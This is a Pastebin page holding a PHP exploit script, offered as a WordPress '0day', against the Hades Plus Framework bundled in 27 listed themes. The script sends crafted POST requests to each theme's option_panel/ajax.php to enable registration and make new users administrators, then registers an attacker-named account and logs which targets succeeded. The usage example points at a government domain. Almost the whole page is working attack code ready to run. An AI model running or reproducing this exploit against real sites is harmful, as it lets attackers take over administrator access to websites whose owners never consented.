Advertisement
Googleinurl

[EXPLOIT]=> Wordpress -Hades Plus Add ADM / INURL - BRASIL

Sep 18th, 2014
2,443
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.17 KB | None | 0 0
  1. <?php
  2. /*
  3. ----------------------------------------------------------
  4. *NAME*: Wordpress -Hades Plus Add ADM / INURL - BRASIL
  5. *TIPE*: User improper inclusion
  6. *Tested on*: Linux
  7. *EXECUTE*: php exploit.php http://www.target.us [email protected]
  8. *OUTPUT*: 0day_Hades_Plus_Framework_Add_Administrator.txtt
  9. *AUTOR*: Cleiton Pinheiro / NICK: GoogleINURL
  10. *Blog*: http://blog.inurl.com.br
  11. *Twitter*: https://twitter.com/googleinurl
  12. *Fanpage*: https://fb.com/InurlBrasil
  13. *GIT*: https://github.com/googleinurl
  14. *YOUTUBE* https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
  15. *PACKETSTORMSECURITY:* http://packetstormsecurity.com/user/googleinurl/
  16. ----------------------------------------------------------
  17.  
  18. *Description:*
  19. This exploit allows an attacker to add new users through the /hades_framework/option_panel/ajax.php way sending request post completed.
  20. This failure is in bristle web 27 Themas:
  21. appius,Consultant,appius1,archin,averin,dagda,echea,felici,GantiDengantema,kmp,kmp2,themanya,liberal,liberal-media-bias,linguini,livewire,majestics,mathis,mazine,
  22. Orchestra, shopsum, shotzz, test, Viteeo, vithy, yvora, sodales.
  23. ----------------------------------------------------------
  24.  
  25. *Usage Information:*
  26. php exploit.php http://www.target.gov.us [email protected]
  27.  
  28. Logic:
  29. $ params ['email'] = 'you_email';
  30. $ params ['user'] = 'inurlbrasil';
  31.  
  32. EXPLOIT POST:
  33. values[0][name]=users_can_register&values[0][value]=1&values[1][name]=admin_email&values[1][value]={$params['email']}&values[2][name]=default_role&values[2][value]=administrator&action=save;
  34.  
  35. if (result the requisition == success) {
  36. is a possible vulnerable and sent one Feedback activation of inurlbrasil usuraio.
  37. }
  38. ----------------------------------------------------------
  39. */
  40. error_reporting(1);
  41. set_time_limit(0);
  42. ini_set('display_errors', 1);
  43. ini_set('max_execution_time', 0);
  44. ini_set('allow_url_fopen', 1);
  45. ob_implicit_flush(true);
  46. ob_end_flush();
  47.  
  48. $params = array();
  49.  
  50. $params['email'] = $argv[2];
  51. $params['user'] = 'inurlbrasil';
  52. $params['post'] = "values%5B0%5D%5Bname%5D=users_can_register&values%5B0%5D%5Bvalue%5D=1&values%5B1%5D%5Bname%5D=admin_email&values%5B1%5D%5Bvalue%5D={$params['email']}&values%5B2%5D%5Bname%5D=default_role&values%5B2%5D%5Bvalue%5D=administrator&action=save";
  53.  
  54. $corpo = file_get_contents($argv[1]);
  55. !(preg_match_all("#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i", $argv[1], $alvo_)) ? exit('0x[ERROR]: DEFINA URL') : NULL;
  56.  
  57. preg_match_all("#WordPress (.*?)/>#", $alvo_[0][0], $version);
  58. $str = str_replace('/>', '', $version[0]);
  59. $str = str_replace('"', '', $str);
  60. $users = file_get_contents("{$alvo_[0][0]}/?author=1");
  61. preg_match('/<title>(.*?)<\/title>/si', $users, $user);
  62. $wpuser = explode('|', $user[1]);
  63. $headers = get_headers($argv[1], 1);
  64. print "\r\n0x[EXPLOIT NAME]: WordPress 0day - Hades Plus Framework Add Administrator / INURL - BRASIL";
  65. print "\n--------------------------------------------------------------------------------------------------";
  66. print "\n0x[INFO]: ";
  67. print $headers[0] . (isset($headers[1]) ? ' -> ' . $headers[1] : NULL);
  68. print "\n0x[INFO]: ";
  69. is_array($headers['Server']) ? print_r($headers['Server'][0]) : print_r($headers['Server']);
  70. print "\n0x[INFO]: ";
  71. is_array($headers['X-Pingback']) ? print_r($headers['X-Pingback'][0]) : print_r($headers['X-Pingback']);
  72. print "\n0x[INFO]: ";
  73. is_array($headers['X-Powered-By']) ? print_r($headers['X-Powered-By'][0]) : print_r($headers['X-Powered-By']);
  74. print "\n0x[INFO]: TARGET: {$alvo_[0][0]} | WP USER: " . str_replace("\n", '', $wpuser[0]) . " | VERSION: {$str} \n";
  75.  
  76.  
  77. __request($alvo_[0][0], '/wp-content/themes/appius/hades_framework/option_panel/ajax.php', $params);
  78. __request($alvo_[0][0], '/wp-content/themes/Consultant/hades_framework/option_panel/ajax.php', $params);
  79. __request($alvo_[0][0], '/wp-content/themes/appius1/hades_framework/option_panel/ajax.php', $params);
  80. __request($alvo_[0][0], '/wp-content/themes/archin/hades_framework/option_panel/ajax.php', $params);
  81. __request($alvo_[0][0], '/wp-content/themes/averin/hades_framework/option_panel/ajax.php', $params);
  82. __request($alvo_[0][0], '/wp-content/themes/dagda/hades_framework/option_panel/ajax.php', $params);
  83. __request($alvo_[0][0], '/wp-content/themes/echea/hades_framework/option_panel/ajax.php', $params);
  84. __request($alvo_[0][0], '/wp-content/themes/felici/hades_framework/option_panel/ajax.php', $params);
  85. __request($alvo_[0][0], '/wp-content/themes/GantiDengantema/hades_framework/option_panel/ajax.php', $params);
  86. __request($alvo_[0][0], '/wp-content/themes/kmp/hades_framework/option_panel/ajax.php', $params);
  87. __request($alvo_[0][0], '/wp-content/themes/kmp2/hades_framework/option_panel/ajax.php', $params);
  88. __request($alvo_[0][0], '/wp-content/themes/themanya/hades_framework/option_panel/ajax.php', $params);
  89. __request($alvo_[0][0], '/wp-content/themes/liberal/hades_framework/option_panel/ajax.php', $params);
  90. __request($alvo_[0][0], '/wp-content/themes/liberal-media-bias/hades_framework/option_panel/ajax.php', $params);
  91. __request($alvo_[0][0], '/wp-content/themes/linguini/hades_framework/option_panel/ajax.php', $params);
  92. __request($alvo_[0][0], '/wp-content/themes/livewire/hades_framework/option_panel/ajax.php', $params);
  93. __request($alvo_[0][0], '/wp-content/themes/majestics/hades_framework/option_panel/ajax.php', $params);
  94. __request($alvo_[0][0], '/wp-content/themes/mathis/hades_framework/option_panel/ajax.php', $params);
  95. __request($alvo_[0][0], '/wp-content/themes/mazine/hades_framework/option_panel/ajax.php', $params);
  96. __request($alvo_[0][0], '/wp-content/themes/Orchestra/hades_framework/option_panel/ajax.php', $params);
  97. __request($alvo_[0][0], '/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php', $params);
  98. __request($alvo_[0][0], '/wp-content/themes/shotzz/hades_framework/option_panel/ajax.php', $params);
  99. __request($alvo_[0][0], '/wp-content/themes/test/hades_framework/option_panel/ajax.php', $params);
  100. __request($alvo_[0][0], '/wp-content/themes/Viteeo/hades_framework/option_panel/ajax.php', $params);
  101. __request($alvo_[0][0], '/wp-content/themes/vithy/hades_framework/option_panel/ajax.php', $params);
  102. __request($alvo_[0][0], '/wp-content/themes/yvora/hades_framework/option_panel/ajax.php', $params);
  103. __request($alvo_[0][0], '/wp-content/themes/sodales/hades_framework/option_panel/ajax.php', $params);
  104.  
  105. function __request($url, $plugin, $params) {
  106.  
  107.     $objcurl = curl_init();
  108.     curl_setopt($objcurl, CURLOPT_URL, $url . $plugin);
  109.     curl_setopt($objcurl, CURLOPT_RETURNTRANSFER, 1);
  110.     curl_setopt($objcurl, CURLOPT_HEADER, 0);
  111.     curl_setopt($objcurl, CURLOPT_HTTPHEADER, array(
  112.         'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  113.         'Accept: application/json, text/javascript, */*; q=0.01',
  114.         'X-Requested-With: XMLHttpRequest',
  115.         "Referer: {$url}",
  116.         'Accept-Language: en-US,en;q=0.5',
  117.         'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
  118.     ));
  119.     curl_setopt($objcurl, CURLOPT_REFERER, $url . $plugin);
  120.     curl_setopt($objcurl, CURLOPT_POSTFIELDS, $params['post']);
  121.  
  122.     $corpo = curl_exec($objcurl);
  123.     curl_close($objcurl);
  124.  
  125.     if (strstr($corpo, 'success')) {
  126.  
  127.         $res = "\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\n0x[INFO][VULN]: [ " . date("d-m-Y H:i:s") . " ]\n";
  128.         $res.= "\n0x[INFO][VULN]: {$url}{$plugin} - RETURN=> [ {$corpo} ] / {$params['user']}, EMAIL=> " . urldecode($params['email']);
  129.         $res.= "\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\n";
  130.         print $res;
  131.         $admin['post'] = urlencode("user_login={$params['user']}&user_email={$params['email']}&redirect_to=&wp-submit=Inscription");
  132.         (strstr($corpo, 'success') ? __request($url, '/wp-login.php?action=register', $admin) : NULL);
  133.         file_put_contents('0day_Hades_Plus_Framework_Add_Administrator.txt', "{$res}\n", FILE_APPEND);
  134.     } else {
  135.         print (($plugin != '/wp-login.php?action=register') ?  "\n0x[INFO][NOT VULN]: {$url}{$plugin} "  : NULL);
  136.     }
  137. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement